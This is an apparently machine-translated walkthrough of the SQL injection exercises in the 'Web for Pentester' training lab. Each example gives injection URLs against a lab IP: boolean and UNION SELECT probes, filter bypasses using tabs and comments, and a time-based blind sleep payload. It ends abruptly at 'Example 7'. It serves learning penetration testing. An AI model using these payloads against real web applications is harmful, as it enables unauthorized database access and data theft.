"Penetration Test Learning Platform" web for Pentester-2.sql injection

Example 1

Injection of character type, no filtering

Http://192.168.91.139/sqli/example1.php?name=root

Http://192.168.91.139/sqli/example1.php?name=root ' and 1=1%23

Http://192.168.91.139/sqli/example1.php?name=root ' and 1=2%23

Http://192.168.91.139/sqli/example1.php?name=root ' Union Select 1,2,3,4,5%23

Example 2

Similar to example1, filter the space, the statement of the blank space will be an error

MySQL injects a way to bypass whitespace filtering:

1. Horizontal tabulation (HT) URL code:%09

2. Comment Bypass Space/* Comment */

3, parentheses around the method of space, in the time based blind

Index.php?id= (The Sleep (ASCII (Mid (User () from (2) for (1)) =109))

Features: 1) Neither the comma, the size of the symbol 2) or the use of space but can complete the data of the guessing work!

Http://192.168.91.139/sqli/example2.php?name=root '%09and%091=1%23

Http://192.168.91.139/sqli/example2.php?name=root '%09and%091=2%23

Http://192.168.91.139/sqli/example2.php?name=root '/**/union/**/select/**/1,2,3,4,5%23

Example 3

On the basis of example, \s matches any whitespace characters, including spaces, tabs, page breaks, etc., all filtered out

You can use/* comments in Example2 */Bypass filtering

Http://192.168.91.139/sqli/example3.php?name=root '/**/union/**/select/**/1,2,3,4,5%23

Example 4

Numeric injection, filtering of single quotes, etc., invalid for numeric type

Http://192.168.91.139/sqli/example4.php?id=3 Union Select 1,2,3,4,5

Example 5

Similar to the previous one, which begins with a number, and can be added to a constructed SQL statement for attack testing

http://192.168.91.139/sqli/example5.php?id=2 and 1=1--

http://192.168.91.139/sqli/example5.php?id=2 and 1=2--

Example 6

The regular expression value ensures that the parameter ID is terminated with a number. He cannot ensure that the ID parameter begins with a valid one.

You can work around the detection method mentioned earlier. You just need to add a number to the back of your payload. For example, you can do this: 1 or 1=1 # 123.

http://192.168.91.139/sqli/example6.php?id=2 Union Select 1,2,3,4,5%23 123

Example 7

"Penetration Test Learning Platform" web for Pentester-2.sql injection